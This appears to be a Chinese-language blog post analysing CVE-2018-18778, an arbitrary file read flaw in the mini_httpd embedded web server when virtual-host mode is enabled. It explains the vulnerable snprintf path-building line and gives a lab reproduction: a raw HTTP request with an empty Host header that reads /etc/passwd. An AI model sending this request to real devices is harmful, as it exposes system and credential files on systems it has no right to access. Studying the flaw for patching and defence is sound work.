不安全的配置----mini_httpd任意文件讀取漏洞(CVE-2018-18778)

mini_httpd任意文件讀取漏洞(CVE-2018-18778)

Mini_httpd是一個微型的Http服務器,在佔用系統資源較小的情況下可以保持一定程度的性能(約爲Apache的90%),因此廣泛被各類IOT(路由器,交換器,攝像頭等)作爲嵌入式服務器。而包括華爲,zyxel,海康威視,樹莓派等在內的廠商的旗下設備都曾採用Mini_httpd組件。

在mini_httpd開啓虛擬主機模式的情況下,用戶請求http://HOST/FILE將會訪問到當前目錄下的HOST/FILE文件。

虛擬主機模式並不是默認開啓,需要在命令行利用-v參數開啓(mini_httpd -v -C mini_httpd.conf)

當虛擬主機模式開啓後,網絡請求文件的絕對路徑爲:Host頭+url。因此攻擊者只要在web端口訪問服務器時,設置Host頭爲空,等同於通知服務器需要某絕對物理路徑文件。

(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );

見上述代碼,分析如下:

  • 當HOST=example.com、FILE=index.html的時候,上述語句結果爲example.com/index.html,文件正常讀取。
  • 當HOST爲空、FILE=etc/passwd的時候,上述語句結果爲/etc/passwd

後者被作爲絕對路徑,於是讀取到了/etc/passwd,造成任意文件讀取漏洞。

漏洞復現

環境啓動後,訪問http://your-ip:8080即可看到Web頁面。

發送請求是將Host置空,PATH的值是文件絕對路徑:

GET /etc/passwd HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close


成功讀取文件:

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章